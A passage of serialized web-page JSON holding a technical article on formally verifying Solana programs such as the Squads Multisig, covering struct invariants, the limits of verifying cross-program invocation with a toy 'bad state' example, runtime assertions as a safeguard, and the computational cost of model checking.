",{"type":22,"tag":1699,"props":29128,"children":29129},{},[29130],{"type":27,"value":29131},"validity",{"type":27,"value":29133}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":22,"tag":618,"props":29135,"children":29137},{"code":29136,"language":4273,"meta":7,"className":4274,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29138],{"type":22,"tag":257,"props":29139,"children":29140},{"__ignoreMap":7},[29141,29148,29171,29222,29229],{"type":22,"tag":264,"props":29142,"children":29143},{"class":1534,"line":1535},[29144],{"type":22,"tag":264,"props":29145,"children":29146},{"style":1539},[29147],{"type":27,"value":22085},{"type":22,"tag":264,"props":29149,"children":29150},{"class":1534,"line":1545},[29151,29155,29159,29163,29167],{"type":22,"tag":264,"props":29152,"children":29153},{"style":1539},[29154],{"type":27,"value":26042},{"type":22,"tag":264,"props":29156,"children":29157},{"style":4309},[29158],{"type":27,"value":210},{"type":22,"tag":264,"props":29160,"children":29161},{"style":1539},[29162],{"type":27,"value":22378},{"type":22,"tag":264,"props":29164,"children":29165},{"style":4309},[29166],{"type":27,"value":11242},{"type":22,"tag":264,"props":29168,"children":29169},{"style":1539},[29170],{"type":27,"value":22387},{"type":22,"tag":264,"props":29172,"children":29173},{"class":1534,"line":1560},[29174,29178,29182,29186,29190,29194,29198,29202,29206,29210,29214,29218],{"type":22,"tag":264,"props":29175,"children":29176},{"style":4309},[29177],{"type":27,"value":16921},{"type":22,"tag":264,"props":29179,"children":29180},{"style":1539},[29181],{"type":27,"value":22311},{"type":22,"tag":264,"props":29183,"children":29184},{"style":4309},[29185],{"type":27,"value":210},{"type":22,"tag":264,"props":29187,"children":29188},{"style":1539},[29189],{"type":27,"value":22378},{"type":22,"tag":264,"props":29191,"children":29192},{"style":4293},[29193],{"type":27,"value":10137},{"type":22,"tag":264,"props":29195,"children":29196},{"style":4722},[29197],{"type":27,"value":15030},{"type":22,"tag":264,"props":29199,"children":29200},{"style":4309},[29201],{"type":27,"value":9491},{"type":22,"tag":264,"props":29203,"children":29204},{"style":1539},[29205],{"type":27,"value":15096},{"type":22,"tag":264,"props":29207,"children":29208},{"style":4309},[29209],{"type":27,"value":210},{"type":22,"tag":264,"props":29211,"children":29212},{"style":1539},[29213],{"type":27,"value":22290},{"type":22,"tag":264,"props":29215,"children":29216},{"style":4309},[29217],{"type":27,"value":210},{"type":22,"tag":264,"props":29219,"children":29220},{"style":1539},[29221],{"type":27,"value":22439},{"type":22,"tag":264,"props":29223,"children":29224},{"class":1534,"line":1569},[29225],{"type":22,"tag":264,"props":29226,"children":29227},{"style":1539},[29228],{"type":27,"value":21565},{"type":22,"tag":264,"props":29230,"children":29231},{"class":1534,"line":1583},[29232,29236,29240,29244,29248,29252],{"type":22,"tag":264,"props":29233,"children":29234},{"style":4293},[29235],{"type":27,"value":14989},{"type":22,"tag":264,"props":29237,"children":29238},{"style":4293},[29239],{"type":27,"value":22458},{"type":22,"tag":264,"props":29241,"children":29242},{"style":4722},[29243],{"type":27,"value":22463},{"type":22,"tag":264,"props":29245,"children":29246},{"style":1539},[29247],{"type":27,"value":10884},{"type":22,"tag":264,"props":29249,"children":29250},{"style":4309},[29251],{"type":27,"value":10889},{"type":22,"tag":264,"props":29253,"children":29254},{"style":1539},[29255],{"type":27,"value":10894},{"type":22,"tag":23,"props":29257,"children":29258},{},[29259,29261,29267,29269,29275],{"type":27,"value":29260},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":22,"tag":257,"props":29262,"children":29264},{"className":29263},[],[29265],{"type":27,"value":29266},"keys.len() == 0",{"type":27,"value":29268}," and allows us to prove the biconditional ",{"type":22,"tag":257,"props":29270,"children":29272},{"className":29271},[],[29273],{"type":27,"value":29274},"(keys.len() >= 1) -> (instruction succeeds)",{"type":27,"value":210},{"type":22,"tag":181,"props":29277,"children":29279},{"id":29278},"safety-guarantees",[29280],{"type":27,"value":24085},{"type":22,"tag":23,"props":29282,"children":29283},{},[29284],{"type":27,"value":29285},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":22,"tag":23,"props":29287,"children":29288},{},[29289],{"type":27,"value":29290},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":22,"tag":23,"props":29292,"children":29293},{},[29294,29296,29302],{"type":27,"value":29295},"In the multisig program this happens in the ",{"type":22,"tag":257,"props":29297,"children":29299},{"className":29298},[],[29300],{"type":27,"value":29301},"execute_transaction",{"type":27,"value":29303}," instruction.",{"type":22,"tag":23,"props":29305,"children":29306},{},[29307],{"type":22,"tag":1699,"props":29308,"children":29309},{},[29310],{"type":27,"value":29311},"So what do you do?",{"type":22,"tag":23,"props":29313,"children":29314},{},[29315],{"type":27,"value":29316},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":22,"tag":618,"props":29318,"children":29320},{"code":29319,"language":4273,"meta":7,"className":4274,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[29321],{"type":22,"tag":257,"props":29322,"children":29323},{"__ignoreMap":7},[29324,29339,29355,29370,29411,29418,29425,29432,29449,29465,29486,29493,29500,29516,29536,29564,29571,29578,29585,29593,29646,29672,29679,29708,29732,29767,29774,29785],{"type":22,"tag":264,"props":29325,"children":29326},{"class":1534,"line":1535},[29327,29331,29335],{"type":22,"tag":264,"props":29328,"children":29329},{"style":1539},[29330],{"type":27,"value":24138},{"type":22,"tag":264,"props":29332,"children":29333},{"style":4722},[29334],{"type":27,"value":24143},{"type":22,"tag":264,"props":29336,"children":29337},{"style":1539},[29338],{"type":27,"value":21565},{"type":22,"tag":264,"props":29340,"children":29341},{"class":1534,"line":1545},[29342,29346,29351],{"type":22,"tag":264,"props":29343,"children":29344},{"style":4293},[29345],{"type":27,"value":14989},{"type":22,"tag":264,"props":29347,"children":29348},{"style":4722},[29349],{"type":27,"value":29350}," MyCtx",{"type":22,"tag":264,"props":29352,"children":29353},{"style":1539},[29354],{"type":27,"value":4594},{"type":22,"tag":264,"props":29356,"children":29357},{"class":1534,"line":1560},[29358,29362,29366],{"type":22,"tag":264,"props":29359,"children":29360},{"style":1539},[29361],{"type":27,"value":24430},{"type":22,"tag":264,"props":29363,"children":29364},{"style":4293},[29365],{"type":27,"value":5035},{"type":22,"tag":264,"props":29367,"children":29368},{"style":1539},[29369],{"type":27,"value":21565},{"type":22,"tag":264,"props":29371,"children":29372},{"class":1534,"line":1569},[29373,29377,29382,29386,29390,29394,29398,29402,29407],{"type":22,"tag":264,"props":29374,"children":29375},{"style":4293},[29376],{"type":27,"value":22150},{"type":22,"tag":264,"props":29378,"children":29379},{"style":1549},[29380],{"type":27,"value":29381}," my_account",{"type":22,"tag":264,"props":29383,"children":29384},{"style":4309},[29385],{"type":27,"value":5785},{"type":22,"tag":264,"props":29387,"children":29388},{"style":4722},[29389],{"type":27,"value":24395},{"type":22,"tag":264,"props":29391,"children":29392},{"style":1539},[29393],{"type":27,"value":24223},{"type":22,"tag":264,"props":29395,"children":29396},{"style":4722},[29397],{"type":27,"value":24228},{"type":22,"tag":264,"props":29399,"children":29400},{"style":1539},[29401],{"type":27,"value":4380},{"type":22,"tag":264,"props":29403,"children":29404},{"style":4722},[29405],{"type":27,"value":29406},"Acc",{"type":22,"tag":264,"props":29408,"children":29409},{"style":1539},[29410],{"type":27,"value":7284},{"type":22,"tag":264,"props":29412,"children":29413},{"class":1534,"line":1583},[29414],{"type":22,"tag":264,"props":29415,"children":29416},{"style":1539},[29417],{"type":27,"value":1692},{"type":22,"tag":264,"props":29419,"children":29420},{"class":1534,"line":1603},[29421],{"type":22,"tag":264,"props":29422,"children":29423},{"emptyLinePlaceholder":17},[29424],{"type":27,"value":4986},{"type":22,"tag":264,"props":29426,"children":29427},{"class":1534,"line":1612},[29428],{"type":22,"tag":264,"props":29429,"children":29430},{"style":1539},[29431],{"type":27,"value":22077},{"type":22,"tag":264,"props":29433,"children":29434},{"class":1534,"line":1621},[29435,29440,29444],{"type":22,"tag":264,"props":29436,"children":29437},{"style":1539},[29438],{"type":27,"value":29439},"#[invariant(bad ",{"type":22,"tag":264,"props":29441,"children":29442},{"style":4309},[29443],{"type":27,"value":9870},{"type":22,"tag":264,"props":29445,"children":29446},{"style":1539},[29447],{"type":27,"value":29448}," false)]\n",{"type":22,"tag":264,"props":29450,"children":29451},{"class":1534,"line":1629},[29452,29456,29461],{"type":22,"tag":264,"props":29453,"children":29454},{"style":4293},[29455],{"type":27,"value":10699},{"type":22,"tag":264,"props":29457,"children":29458},{"style":4722},[29459],{"type":27,"value":29460}," Acc",{"type":22,"tag":264,"props":29462,"children":29463},{"style":1539},[29464],{"type":27,"value":4594},{"type":22,"tag":264,"props":29466,"children":29467},{"class":1534,"line":1642},[29468,29472,29477,29481],{"type":22,"tag":264,"props":29469,"children":29470},{"style":4293},[29471],{"type":27,"value":22150},{"type":22,"tag":264,"props":29473,"children":29474},{"style":1549},[29475],{"type":27,"value":29476}," bad",{"type":22,"tag":264,"props":29478,"children":29479},{"style":4309},[29480],{"type":27,"value":5785},{"type":22,"tag":264,"props":29482,"children":29483},{"style":4722},[29484],{"type":27,"value":29485}," bool\n",{"type":22,"tag":264,"props":29487,"children":29488},{"class":1534,"line":1660},[29489],{"type":22,"tag":264,"props":29490,"children":29491},{"style":1539},[29492],{"type":27,"value":1692},{"type":22,"tag":264,"props":29494,"children":29495},{"class":1534,"line":1668},[29496],{"type":22,"tag":264,"props":29497,"children":29498},{"emptyLinePlaceholder":17},[29499],{"type":27,"value":4986},{"type":22,"tag":264,"props":29501,"children":29502},{"class":1534,"line":1677},[29503,29508,29512],{"type":22,"tag":264,"props":29504,"children":29505},{"style":4293},[29506],{"type":27,"value":29507},"impl",{"type":22,"tag":264,"props":29509,"children":29510},{"style":4722},[29511],{"type":27,"value":29460},{"type":22,"tag":264,"props":29513,"children":29514},{"style":1539},[29515],{"type":27,"value":4594},{"type":22,"tag":264,"props":29517,"children":29518},{"class":1534,"line":1686},[29519,29523,29527,29532],{"type":22,"tag":264,"props":29520,"children":29521},{"style":4293},[29522],{"type":27,"value":22150},{"type":22,"tag":264,"props":29524,"children":29525},{"style":4293},[29526],{"type":27,"value":14994},{"type":22,"tag":264,"props":29528,"children":29529},{"style":4401},[29530],{"type":27,"value":29531}," put_into_bad_state",{"type":22,"tag":264,"props":29533,"children":29534},{"style":1539},[29535],{"type":27,"value":17036},{"type":22,"tag":264,"props":29537,"children":29538},{"class":1534,"line":4948},[29539,29543,29547,29552,29556,29560],{"type":22,"tag":264,"props":29540,"children":29541},{"style":4293},[29542],{"type":27,"value":28672},{"type":22,"tag":264,"props":29544,"children":29545},{"style":4309},[29546],{"type":27,"value":210},{"type":22,"tag":264,"props":29548,"children":29549},{"style":1539},[29550],{"type":27,"value":29551},"bad ",{"type":22,"tag":264,"props":29553,"children":29554},{"style":4309},[29555],{"type":27,"value":429},{"type":22,"tag":264,"props":29557,"children":29558},{"style":4293},[29559],{"type":27,"value":13768},{"type":22,"tag":264,"props":29561,"children":29562},{"style":1539},[29563],{"type":27,"value":4322},{"type":22,"tag":264,"props":29565,"children":29566},{"class":1534,"line":4957},[29567],{"type":22,"tag":264,"props":29568,"children":29569},{"style":1539},[29570],{"type":27,"value":1674},{"type":22,"tag":264,"props":29572,"children":29573},{"class":1534,"line":4980},[29574],{"type":22,"tag":264,"props":29575,"children":29576},{"style":1539},[29577],{"type":27,"value":1692},{"type":22,"tag":264,"props":29579,"children":29580},{"class":1534,"line":4989},[29581],{"type":22,"tag":264,"props":29582,"children":29583},{"emptyLinePlaceholder":17},[29584],{"type":27,"value":4986},{"type":22,"tag":264,"props":29586,"children":29587},{"class":1534,"line":4998},[29588],{"type":22,"tag":264,"props":29589,"children":29590},{"style":4284},[29591],{"type":27,"value":29592},"// Instruction handler:\n",{"type":22,"tag":264,"props":29594,"children":29595},{"class":1534,"line":5067},[29596,29600,29605,29609,29613,29617,29621,29625,29630,29634,29638,29642],{"type":22,"tag":264,"props":29597,"children":29598},{"style":4293},[29599],{"type":27,"value":21573},{"type":22,"tag":264,"props":29601,"children":29602},{"style":4401},[29603],{"type":27,"value":29604}," hard_to_verify",{"type":22,"tag":264,"props":29606,"children":29607},{"style":1539},[29608],{"type":27,"value":2660},{"type":22,"tag":264,"props":29610,"children":29611},{"style":1549},[29612],{"type":27,"value":21587},{"type":22,"tag":264,"props":29614,"children":29615},{"style":4309},[29616],{"type":27,"value":5785},{"type":22,"tag":264,"props":29618,"children":29619},{"style":4722},[29620],{"type":27,"value":21596},{"type":22,"tag":264,"props":29622,"children":29623},{"style":1539},[29624],{"type":27,"value":7097},{"type":22,"tag":264,"props":29626,"children":29627},{"style":4722},[29628],{"type":27,"value":29629},"MyCtx",{"type":22,"tag":264,"props":29631,"children":29632},{"style":1539},[29633],{"type":27,"value":21753},{"type":22,"tag":264,"props":29635,"children":29636},{"style":4309},[29637],{"type":27,"value":15056},{"type":22,"tag":264,"props":29639,"children":29640},{"style":4722},[29641],{"type":27,"value":15061},{"type":22,"tag":264,"props":29643,"children":29644},{"style":1539},[29645],{"type":27,"value":21638},{"type":22,"tag":264,"props":29647,"children":29648},{"class":1534,"line":5075},[29649,29654,29658,29662,29667],{"type":22,"tag":264,"props":29650,"children":29651},{"style":4401},[29652],{"type":27,"value":29653},"    invoke_signed",{"type":22,"tag":264,"props":29655,"children":29656},{"style":1539},[29657],{"type":27,"value":2660},{"type":22,"tag":264,"props":29659,"children":29660},{"style":4309},[29661],{"type":27,"value":10889},{"type":22,"tag":264,"props":29663,"children":29664},{"style":1539},[29665],{"type":27,"value":29666},"); ",{"type":22,"tag":264,"props":29668,"children":29669},{"style":4284},[29670],{"type":27,"value":29671},"// Cross-program invocation\n",{"type":22,"tag":264,"props":29673,"children":29674},{"class":1534,"line":5105},[29675],{"type":22,"tag":264,"props":29676,"children":29677},{"emptyLinePlaceholder":17},[29678],{"type":27,"value":4986},{"type":22,"tag":264,"props":29680,"children":29681},{"class":1534,"line":5113},[29682,29686,29691,29695,29699,29703],{"type":22,"tag":264,"props":29683,"children":29684},{"style":4293},[29685],{"type":27,"value":4296},{"type":22,"tag":264,"props":29687,"children":29688},{"style":1549},[29689],{"type":27,"value":29690}," invoke_res",{"type":22,"tag":264,"props":29692,"children":29693},{"style":4309},[29694],{"type":27,"value":4312},{"type":22,"tag":264,"props":29696,"children":29697},{"style":4309},[29698],{"type":27,"value":26612},{"type":22,"tag":264,"props":29700,"children":29701},{"style":1539},[29702],{"type":27,"value":18529},{"type":22,"tag":264,"props":29704,"children":29705},{"style":4284},[29706],{"type":27,"value":29707},"// fetch result of invocation\n",{"type":22,"tag":264,"props":29709,"children":29710},{"class":1534,"line":5145},[29711,29715,29719,29723,29728],{"type":22,"tag":264,"props":29712,"children":29713},{"style":4328},[29714],{"type":27,"value":13578},{"type":22,"tag":264,"props":29716,"children":29717},{"style":1549},[29718],{"type":27,"value":29690},{"type":22,"tag":264,"props":29720,"children":29721},{"style":4309},[29722],{"type":27,"value":4585},{"type":22,"tag":264,"props":29724,"children":29725},{"style":4344},[29726],{"type":27,"value":29727}," 5",{"type":22,"tag":264,"props":29729,"children":29730},{"style":1539},[29731],{"type":27,"value":4594},{"type":22,"tag":264,"props":29733,"children":29734},{"class":1534,"line":5153},[29735,29739,29743,29748,29752,29757,29762],{"type":22,"tag":264,"props":29736,"children":29737},{"style":1549},[29738],{"type":27,"value":27498},{"type":22,"tag":264,"props":29740,"children":29741},{"style":4309},[29742],{"type":27,"value":210},{"type":22,"tag":264,"props":29744,"children":29745},{"style":1539},[29746],{"type":27,"value":29747},"my_account",{"type":22,"tag":264,"props":29749,"children":29750},{"style":4309},[29751],{"type":27,"value":210},{"type":22,"tag":264,"props":29753,"children":29754},{"style":4401},[29755],{"type":27,"value":29756},"put_into_bad_state",{"type":22,"tag":264,"props":29758,"children":29759},{"style":1539},[29760],{"type":27,"value":29761},"(); ",{"type":22,"tag":264,"props":29763,"children":29764},{"style":4284},[29765],{"type":27,"value":29766},"// corrupt our account\n",{"type":22,"tag":264,"props":29768,"children":29769},{"class":1534,"line":5213},[29770],{"type":22,"tag":264,"props":29771,"children":29772},{"style":1539},[29773],{"type":27,"value":1674},{"type":22,"tag":264,"props":29775,"children":29776},{"class":1534,"line":10343},[29777,29781],{"type":22,"tag":264,"props":29778,"children":29779},{"style":4722},[29780],{"type":27,"value":15632},{"type":22,"tag":264,"props":29782,"children":29783},{"style":1539},[29784],{"type":27,"value":15637},{"type":22,"tag":264,"props":29786,"children":29787},{"class":1534,"line":10361},[29788],{"type":22,"tag":264,"props":29789,"children":29790},{"style":1539},[29791],{"type":27,"value":1692},{"type":22,"tag":23,"props":29793,"children":29794},{},[29795,29797,29802],{"type":27,"value":29796},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":22,"tag":257,"props":29798,"children":29800},{"className":29799},[],[29801],{"type":27,"value":29747},{"type":27,"value":29803},") will be maintained as long as the instruction succeeds.",{"type":22,"tag":23,"props":29805,"children":29806},{},[29807],{"type":27,"value":29808},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":22,"tag":23,"props":29810,"children":29811},{},[29812,29814,29819],{"type":27,"value":29813},"However, we can ",{"type":22,"tag":1699,"props":29815,"children":29816},{},[29817],{"type":27,"value":29818},"augment",{"type":27,"value":29820}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":22,"tag":23,"props":29822,"children":29823},{},[29824],{"type":27,"value":29825},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":22,"tag":618,"props":29827,"children":29829},{"code":29828,"language":4273,"meta":7,"className":4274,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[29830],{"type":22,"tag":257,"props":29831,"children":29832},{"__ignoreMap":7},[29833,29841,29892,29915,29922,29949,29972,30003,30010,30017,30025,30060,30067,30078],{"type":22,"tag":264,"props":29834,"children":29835},{"class":1534,"line":1535},[29836],{"type":22,"tag":264,"props":29837,"children":29838},{"style":4309},[29839],{"type":27,"value":29840},"...\n",{"type":22,"tag":264,"props":29842,"children":29843},{"class":1534,"line":1545},[29844,29848,29852,29856,29860,29864,29868,29872,29876,29880,29884,29888],{"type":22,"tag":264,"props":29845,"children":29846},{"style":4293},[29847],{"type":27,"value":21573},{"type":22,"tag":264,"props":29849,"children":29850},{"style":4401},[29851],{"type":27,"value":29604},{"type":22,"tag":264,"props":29853,"children":29854},{"style":1539},[29855],{"type":27,"value":2660},{"type":22,"tag":264,"props":29857,"children":29858},{"style":1549},[29859],{"type":27,"value":21587},{"type":22,"tag":264,"props":29861,"children":29862},{"style":4309},[29863],{"type":27,"value":5785},{"type":22,"tag":264,"props":29865,"children":29866},{"style":4722},[29867],{"type":27,"value":21596},{"type":22,"tag":264,"props":29869,"children":29870},{"style":1539},[29871],{"type":27,"value":7097},{"type":22,"tag":264,"props":29873,"children":29874},{"style":4722},[29875],{"type":27,"value":29629},{"type":22,"tag":264,"props":29877,"children":29878},{"style":1539},[29879],{"type":27,"value":21753},{"type":22,"tag":264,"props":29881,"children":29882},{"style":4309},[29883],{"type":27,"value":15056},{"type":22,"tag":264,"props":29885,"children":29886},{"style":4722},[29887],{"type":27,"value":15061},{"type":22,"tag":264,"props":29889,"children":29890},{"style":1539},[29891],{"type":27,"value":21638},{"type":22,"tag":264,"props":29893,"children":29894},{"class":1534,"line":1560},[29895,29899,29903,29907,29911],{"type":22,"tag":264,"props":29896,"children":29897},{"style":4401},[29898],{"type":27,"value":29653},{"type":22,"tag":264,"props":29900,"children":29901},{"style":1539},[29902],{"type":27,"value":2660},{"type":22,"tag":264,"props":29904,"children":29905},{"style":4309},[29906],{"type":27,"value":10889},{"type":22,"tag":264,"props":29908,"children":29909},{"style":1539},[29910],{"type":27,"value":29666},{"type":22,"tag":264,"props":29912,"children":29913},{"style":4284},[29914],{"type":27,"value":29671},{"type":22,"tag":264,"props":29916,"children":29917},{"class":1534,"line":1569},[29918],{"type":22,"tag":264,"props":29919,"children":29920},{"emptyLinePlaceholder":17},[29921],{"type":27,"value":4986},{"type":22,"tag":264,"props":29923,"children":29924},{"class":1534,"line":1583},[29925,29929,29933,29937,29941,29945],{"type":22,"tag":264,"props":29926,"children":29927},{"style":4293},[29928],{"type":27,"value":4296},{"type":22,"tag":264,"props":29930,"children":29931},{"style":1549},[29932],{"type":27,"value":29690},{"type":22,"tag":264,"props":29934,"children":29935},{"style":4309},[29936],{"type":27,"value":4312},{"type":22,"tag":264,"props":29938,"children":29939},{"style":4309},[29940],{"type":27,"value":26612},{"type":22,"tag":264,"props":29942,"children":29943},{"style":1539},[29944],{"type":27,"value":18529},{"type":22,"tag":264,"props":29946,"children":29947},{"style":4284},[29948],{"type":27,"value":29707},{"type":22,"tag":264,"props":29950,"children":29951},{"class":1534,"line":1603},[29952,29956,29960,29964,29968],{"type":22,"tag":264,"props":29953,"children":29954},{"style":4328},[29955],{"type":27,"value":13578},{"type":22,"tag":264,"props":29957,"children":29958},{"style":1549},[29959],{"type":27,"value":29690},{"type":22,"tag":264,"props":29961,"children":29962},{"style":4309},[29963],{"type":27,"value":4585},{"type":22,"tag":264,"props":29965,"children":29966},{"style":4344},[29967],{"type":27,"value":29727},{"type":22,"tag":264,"props":29969,"children":29970},{"style":1539},[29971],{"type":27,"value":4594},{"type":22,"tag":264,"props":29973,"children":29974},{"class":1534,"line":1612},[29975,29979,29983,29987,29991,29995,29999],{"type":22,"tag":264,"props":29976,"children":29977},{"style":1549},[29978],{"type":27,"value":27498},{"type":22,"tag":264,"props":29980,"children":29981},{"style":4309},[29982],{"type":27,"value":210},{"type":22,"tag":264,"props":29984,"children":29985},{"style":1539},[29986],{"type":27,"value":29747},{"type":22,"tag":264,"props":29988,"children":29989},{"style":4309},[29990],{"type":27,"value":210},{"type":22,"tag":264,"props":29992,"children":29993},{"style":4401},[29994],{"type":27,"value":29756},{"type":22,"tag":264,"props":29996,"children":29997},{"style":1539},[29998],{"type":27,"value":29761},{"type":22,"tag":264,"props":30000,"children":30001},{"style":4284},[30002],{"type":27,"value":29766},{"type":22,"tag":264,"props":30004,"children":30005},{"class":1534,"line":1621},[30006],{"type":22,"tag":264,"props":30007,"children":30008},{"style":1539},[30009],{"type":27,"value":1674},{"type":22,"tag":264,"props":30011,"children":30012},{"class":1534,"line":1629},[30013],{"type":22,"tag":264,"props":30014,"children":30015},{"emptyLinePlaceholder":17},[30016],{"type":27,"value":4986},{"type":22,"tag":264,"props":30018,"children":30019},{"class":1534,"line":1642},[30020],{"type":22,"tag":264,"props":30021,"children":30022},{"style":4284},[30023],{"type":27,"value":30024},"    // Enforce invariants at runtime\n",{"type":22,"tag":264,"props":30026,"children":30027},{"class":1534,"line":1660},[30028,30032,30036,30040,30044,30048,30052,30056],{"type":22,"tag":264,"props":30029,"children":30030},{"style":4401},[30031],{"type":27,"value":20545},{"type":22,"tag":264,"props":30033,"children":30034},{"style":1539},[30035],{"type":27,"value":2660},{"type":22,"tag":264,"props":30037,"children":30038},{"style":1549},[30039],{"type":27,"value":21587},{"type":22,"tag":264,"props":30041,"children":30042},{"style":4309},[30043],{"type":27,"value":210},{"type":22,"tag":264,"props":30045,"children":30046},{"style":1539},[30047],{"type":27,"value":29747},{"type":22,"tag":264,"props":30049,"children":30050},{"style":4309},[30051],{"type":27,"value":210},{"type":22,"tag":264,"props":30053,"children":30054},{"style":4401},[30055],{"type":27,"value":23078},{"type":22,"tag":264,"props":30057,"children":30058},{"style":1539},[30059],{"type":27,"value":16724},{"type":22,"tag":264,"props":30061,"children":30062},{"class":1534,"line":1668},[30063],{"type":22,"tag":264,"props":30064,"children":30065},{"emptyLinePlaceholder":17},[30066],{"type":27,"value":4986},{"type":22,"tag":264,"props":30068,"children":30069},{"class":1534,"line":1677},[30070,30074],{"type":22,"tag":264,"props":30071,"children":30072},{"style":4722},[30073],{"type":27,"value":15632},{"type":22,"tag":264,"props":30075,"children":30076},{"style":1539},[30077],{"type":27,"value":15637},{"type":22,"tag":264,"props":30079,"children":30080},{"class":1534,"line":1686},[30081],{"type":22,"tag":264,"props":30082,"children":30083},{"style":1539},[30084],{"type":27,"value":1692},{"type":22,"tag":23,"props":30086,"children":30087},{},[30088,30090,30095,30097,30102,30104,30109],{"type":27,"value":30089},"Here, we explicitly ",{"type":22,"tag":257,"props":30091,"children":30093},{"className":30092},[],[30094],{"type":27,"value":21290},{"type":27,"value":30096}," that our invariants hold at ",{"type":22,"tag":1699,"props":30098,"children":30099},{},[30100],{"type":27,"value":30101},"runtime",{"type":27,"value":30103}," which allows us to be assured that ",{"type":22,"tag":257,"props":30105,"children":30107},{"className":30106},[],[30108],{"type":27,"value":29747},{"type":27,"value":30110}," will not enter a bad state as a result of some unverifiable behavior.",{"type":22,"tag":23,"props":30112,"children":30113},{},[30114],{"type":27,"value":30115},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":22,"tag":169,"props":30117,"children":30119},{"id":30118},"challenges-of-formal-verification-on-solana",[30120],{"type":27,"value":30121},"Challenges of formal verification on Solana",{"type":22,"tag":181,"props":30123,"children":30125},{"id":30124},"expensive-computation",[30126],{"type":27,"value":30127},"Expensive computation",{"type":22,"tag":23,"props":30129,"children":30130},{},[30131,30133,30138],{"type":27,"value":30132},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":22,"tag":1699,"props":30134,"children":30135},{},[30136],{"type":27,"value":30137},"path explosion",{"type":27,"value":30139},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":22,"tag":23,"props":30141,"children":30142},{},[30143,30145,30150],{"type":27,"value":30144},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":22,"tag":1699,"props":30146,"children":30147},{},[30148],{"type":27,"value":30149},"formal verification friendly",{"type":27,"value":30151},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":22,"tag":23,"props":30153,"children":30154},{},[30155,30157,30162,30164,30169],{"type":27,"value":30156},"For example, when verifying things like the uniqueness of a ",{"type":22,"tag":257,"props":30158,"children":30160},{"className":30159},[],[30161],{"type":27,"value":22705},{"type":27,"value":30163}," in a ",{"type":22,"tag":257,"props":30165,"children":30167},{"className":30166},[],[30168],{"type":27,"value":18513},{"type":27,"value":30170},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":22,"tag":23,"props":30172,"children":30173},{},[30174,30176,30181,30183,30188,30190,30195,30197,30202,30204,30209,30211,30216],{"type":27,"value":30175},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":22,"tag":257,"props":30177,"children":30179},{"className":30178},[],[30180],{"type":27,"value":18513},{"type":27,"value":30182}," or a 32-byte ",{"type":22,"tag":257,"props":30184,"children":30186},{"className":30185},[],[30187],{"type":27,"value":22705},{"type":27,"value":30189},". Instead, our tool can substitute in ",{"type":22,"tag":1699,"props":30191,"children":30192},{},[30193],{"type":27,"value":30194},"cheaper",{"type":27,"value":30196}," types and functions, such as a 4-byte ",{"type":22,"tag":257,"props":30198,"children":30200},{"className":30199},[],[30201],{"type":27,"value":22705},{"type":27,"value":30203}," struct and a fixed-size, array-backed ",{"type":22,"tag":257,"props":30205,"children":30207},{"className":30206},[],[30208],{"type":27,"value":18513},{"type":27,"value":30210}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":22,"tag":1699,"props":30212,"children":30213},{},[30214],{"type":27,"value":30215},"much",{"type":27,"value":30217}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":22,"tag":23,"props":30219,"children":30220},{},[30221],{"type":27,"value":30222},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":22,"tag":181,"props":30224,"children":30226},{"id":30225},"runtime-environment",[30227],{"type":27,"value":30228},"Runtime Environment",{"type":22,"tag":23,"props":30230,"children":30231},{},[30232],{"type":27,"value":30233},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":22,"tag":23,"props":30235,"children":30236},{},[30237],{"type":27,"value":30238},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":22,"tag":23,"props":30240,"children":30241},{},[30242],{"type":27,"value":30243},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it 